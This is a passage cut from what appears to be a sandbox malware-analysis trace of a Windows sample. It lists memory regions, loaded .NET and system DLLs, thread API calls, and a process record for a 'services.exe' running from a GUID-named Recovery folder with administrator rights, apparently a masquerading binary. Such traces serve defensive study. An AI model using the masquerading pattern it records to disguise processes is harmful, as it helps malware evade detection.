1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 8819 start_va = 0x7fe94a00000 end_va = 0x7fe94a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a00000" filename = "" Region: id = 8910 start_va = 0x7fe94a80000 end_va = 0x7fe94a8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a80000" filename = "" Region: id = 8911 start_va = 0x7fe94a90000 end_va = 0x7fe94a9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a90000" filename = "" Region: id = 8918 start_va = 0x7fef7460000 end_va = 0x7fef7462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 8933 start_va = 0x7fef5450000 end_va = 0x7fef559efff monitored = 1 entry_point = 0x7fef5451090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 8952 start_va = 0x210000 end_va = 0x21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 8990 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 8991 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 8992 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 9005 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 9020 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 9035 start_va = 0x230000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 9060 start_va = 0x1ada0000 end_va = 0x1aebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 9061 start_va = 0x1af00000 end_va = 0x1af7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af00000" filename = "" Region: id = 9079 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 9083 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 9084 start_va = 0x230000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 9085 start_va = 0x240000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 9153 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 9154 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 9168 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 9173 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 9199 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 9202 start_va = 0xa10000 end_va = 0xa71fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorrc.dll") Region: id = 9203 start_va = 0xab0000 end_va = 0xb2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 9283 start_va = 0x1a880000 end_va = 0x1a8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a880000" filename = "" Region: id = 9284 start_va = 0x1b000000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b000000" filename = "" Region: id = 9285 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 9286 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 9296 start_va = 0x1b280000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b280000" filename = "" Region: id = 9297 start_va = 0x7fefd070000 end_va = 0x7fefd087fff monitored = 0 entry_point = 0x7fefd073b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 9298 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 9299 start_va = 0x220000 end_va = 0x264fff monitored = 0 entry_point = 0x221064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9300 start_va = 0x220000 end_va = 0x264fff monitored = 0 entry_point = 0x221064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9301 start_va = 0x220000 end_va = 0x264fff monitored = 0 entry_point = 0x221064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9302 start_va = 0x220000 end_va = 0x264fff monitored = 0 entry_point = 0x221064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9303 start_va = 0x220000 end_va = 0x264fff monitored = 0 entry_point = 0x221064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9304 start_va = 0x7fefcd70000 end_va = 0x7fefcdb6fff monitored = 0 entry_point = 0x7fefcd71064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9417 start_va = 0x7fefd740000 end_va = 0x7fefd753fff monitored = 0 entry_point = 0x7fefd7410e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 9418 start_va = 0x1b450000 end_va = 0x1b54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b450000" filename = "" Region: id = 9419 start_va = 0x7ffffefc000 end_va = 0x7ffffefdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefc000" filename = "" Region: id = 9473 start_va = 0x1b6a0000 end_va = 0x1b79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b6a0000" filename = "" Region: id = 9474 start_va = 0x7ffffefa000 end_va = 0x7ffffefbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefa000" filename = "" Region: id = 9506 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 9544 start_va = 0x1b830000 end_va = 0x1b92ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b830000" filename = "" Region: id = 9545 start_va = 0x7ffffef8000 end_va = 0x7ffffef9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef8000" filename = "" Region: id = 9546 start_va = 0x7fef1bd0000 end_va = 0x7fef283efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 9561 start_va = 0x7fef5250000 end_va = 0x7fef5444fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 9587 start_va = 0x7fef0b20000 end_va = 0x7fef1bc5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 9601 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 9602 start_va = 0x230000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 9710 start_va = 0x7fef8940000 end_va = 0x7fef8955fff monitored = 1 entry_point = 0x7fef894e5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 9711 start_va = 0x1b930000 end_va = 0x1bc01fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Region: id = 9712 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 9713 start_va = 0x230000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 9714 start_va = 0x240000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 9715 start_va = 0x250000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 9716 start_va = 0x260000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 9892 start_va = 0x270000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 9893 start_va = 0x290000 end_va = 0x29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 9894 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 9895 start_va = 0x2b0000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 9896 start_va = 0x2c0000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 9897 start_va = 0x640000 end_va = 0x64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000640000" filename = "" Region: id = 9909 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 9910 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 9911 start_va = 0xa80000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a80000" filename = "" Region: id = 9912 start_va = 0xa90000 end_va = 0xa9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a90000" filename = "" Region: id = 9913 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 9914 start_va = 0xb30000 end_va = 0xb3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b30000" filename = "" Region: id = 9915 start_va = 0xc10000 end_va = 0xc8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c10000" filename = "" Region: id = 9948 start_va = 0xb40000 end_va = 0xb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b40000" filename = "" Region: id = 9949 start_va = 0xb50000 end_va = 0xb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b50000" filename = "" Region: id = 9960 start_va = 0xb60000 end_va = 0xb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b60000" filename = "" Region: id = 10108 start_va = 0xb70000 end_va = 0xb7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b70000" filename = "" Region: id = 10206 start_va = 0xb80000 end_va = 0xb8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b80000" filename = "" Region: id = 10207 start_va = 0xb90000 end_va = 0xb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b90000" filename = "" Region: id = 10208 start_va = 0xba0000 end_va = 0xbaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ba0000" filename = "" Region: id = 10209 start_va = 0xbb0000 end_va = 0xbbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bb0000" filename = "" Region: id = 10210 start_va = 0xbc0000 end_va = 0xbcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bc0000" filename = "" Region: id = 10211 start_va = 0xbd0000 end_va = 0xbdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bd0000" filename = "" Region: id = 10212 start_va = 0xbe0000 end_va = 0xbeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000be0000" filename = "" Region: id = 10213 start_va = 0xbf0000 end_va = 0xbfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bf0000" filename = "" Region: id = 10214 start_va = 0xc00000 end_va = 0xc0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c00000" filename = "" Region: id = 10215 start_va = 0xda0000 end_va = 0xdaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000da0000" filename = "" Region: id = 10216 start_va = 0xdb0000 end_va = 0xdbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000db0000" filename = "" Region: id = 10217 start_va = 0xdc0000 end_va = 0xdcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000dc0000" filename = "" Region: id = 10218 start_va = 0x1a830000 end_va = 0x1a83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a830000" filename = "" Region: id = 10219 start_va = 0x1a840000 end_va = 0x1a84ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a840000" filename = "" Region: id = 10220 start_va = 0x1a850000 end_va = 0x1a85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a850000" filename = "" Region: id = 10221 start_va = 0x1a860000 end_va = 0x1a86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a860000" filename = "" Region: id = 10271 start_va = 0x1a870000 end_va = 0x1a87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a870000" filename = "" Region: id = 10272 start_va = 0x1a880000 end_va = 0x1a88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a880000" filename = "" Region: id = 10273 start_va = 0x1a890000 end_va = 0x1a89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a890000" filename = "" Region: id = 10274 start_va = 0x1a8a0000 end_va = 0x1a8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a8a0000" filename = "" Region: id = 10313 start_va = 0xb30000 end_va = 0xb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b30000" filename = "" Region: id = 10314 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 10315 start_va = 0x7fe94aa0000 end_va = 0x7fe94aaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94aa0000" filename = "" Region: id = 10381 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 10382 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 10383 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 10435 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 10436 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 10437 start_va = 0x230000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 10438 start_va = 0x240000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 10439 start_va = 0x250000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 10455 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 10472 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 10488 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 10496 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 10507 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Thread: id = 352 os_tid = 0x5ec [0225.412] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0243.213] EtwEventRegister (in: ProviderId=0x27358a8, EnableCallback=0x1ae4135c, CallbackContext=0x0, RegHandle=0x2735888 | out: RegHandle=0x2735888) returned 0x0 [0244.598] EtwEventRegister (in: ProviderId=0x273a030, EnableCallback=0x1ae413ac, CallbackContext=0x0, RegHandle=0x273a010 | out: RegHandle=0x273a010) returned 0x0 [0246.089] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x314c80*=0xd8, lpdwindex=0x20e3b4 | out: lpdwindex=0x20e3b4) returned 0x0 [0247.533] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x1a9f46e0*=0x224, lpdwindex=0x20e0a4 | out: lpdwindex=0x20e0a4) returned 0x0 [0248.086] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x314c80*=0xd8, lpdwindex=0x20e3b4 | out: lpdwindex=0x20e3b4) returned 0x0 [0267.311] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x1a9f4730*=0x24, lpdwindex=0x20e0a4 | out: lpdwindex=0x20e0a4) returned 0x0 [0267.973] CoWaitForMultipleHandles (dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x314c80*=0xd8, lpdwindex=0x20e3b4) Thread: id = 419 os_tid = 0x580 Thread: id = 427 os_tid = 0x780 [0227.629] CoGetContextToken (in: pToken=0x1a9cf880 | out: pToken=0x1a9cf880) returned 0x800401f0 [0227.630] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 435 os_tid = 0x754 Thread: id = 475 os_tid = 0x8ac [0245.788] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0245.789] CoGetContextToken (in: pToken=0x1b0ff770 | out: pToken=0x1b0ff770) returned 0x0 [0245.789] CObjectContext::QueryInterface () returned 0x0 [0245.789] CObjectContext::GetCurrentThreadType () returned 0x0 [0245.790] Release () returned 0x0 [0245.790] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0245.791] CoUninitialize () [0258.688] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b0fdba8 | out: phkResult=0x1b0fdba8*=0x0) returned 0x2 [0258.688] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0258.695] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe", nBufferLength=0x105, lpBuffer=0x1b0fe6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe", lpFilePart=0x0) returned 0x41 Thread: id = 476 os_tid = 0x8b0 Thread: id = 479 os_tid = 0x8bc Thread: id = 495 os_tid = 0x8fc Thread: id = 496 os_tid = 0x900 Thread: id = 538 os_tid = 0x9b0 [0249.580] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0249.581] CoGetContextToken (in: pToken=0x1b92f6f0 | out: pToken=0x1b92f6f0) returned 0x0 [0249.581] CObjectContext::QueryInterface () returned 0x0 [0249.581] CObjectContext::GetCurrentThreadType () returned 0x0 [0249.581] Release () returned 0x0 [0249.581] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0249.581] CoUninitialize () Thread: id = 546 os_tid = 0x9d8 Process: id = "82" image_name = "services.exe" filename = "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe" page_root = "0x772d1000" os_pid = "0x5f0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "76" os_parent_pid = "0x4d8" cmd_line = "C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fea5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 7403 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 7404 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 7405 start_va = 0xd0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 7406 start_va = 0x1260000 end_va = 0x1337fff monitored = 1 entry_point = 0x132f1ee region_type = mapped_file name = "services.exe" filename = "\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe" (normalized: "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe") Region: id = 7407 start_va = 0x77810000 end_va = 0x779b8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 7408 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 7409 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 7410 start_va = 0x7feffb30000 end_va = 0x7feffb30fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 7411 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 7412 start_va = 0x7fffffdb000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 7413 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 7414 start_va = 0x1d0000 end_va = 0x38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 7415 start_va = 0x7fefa8a0000 end_va = 0x7fefa90efff monitored = 1 entry_point = 0x7fefa8a1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 7416 start_va = 0x775f0000 end_va = 0x7770efff monitored = 0 entry_point = 0x77605340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 7417 start_va = 0x7fefd810000 end_va = 0x7fefd87bfff monitored = 0 entry_point = 0x7fefd812780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 7448 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 7449 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 7450 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 7479 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 7480 start_va = 0x390000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 7481 start_va = 0x1d0000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 7482 start_va = 0x310000 end_va = 0x38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 7483 start_va = 0x500000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 7683 start_va = 0x7fefe4d0000 end_va = 0x7fefe5aafff monitored = 0 entry_point = 0x7fefe4f0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 7684 start_va = 0x7fefdb30000 end_va = 0x7fefdbcefff monitored = 0 entry_point = 0x7fefdb325a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 7685 start_va = 0x7feffa50000 end_va = 0x7feffa6efff monitored = 0 entry_point = 0x7feffa560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7686 start_va = 0x7fefe3a0000 end_va = 0x7fefe4ccfff monitored = 0 entry_point = 0x7fefe3eed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 7687 start_va = 0x390000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 7688 start_va = 0x4f0000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 7689 start_va = 0x500000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 7690 start_va = 0x660000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 7691 start_va = 0x7fef7fc0000 end_va = 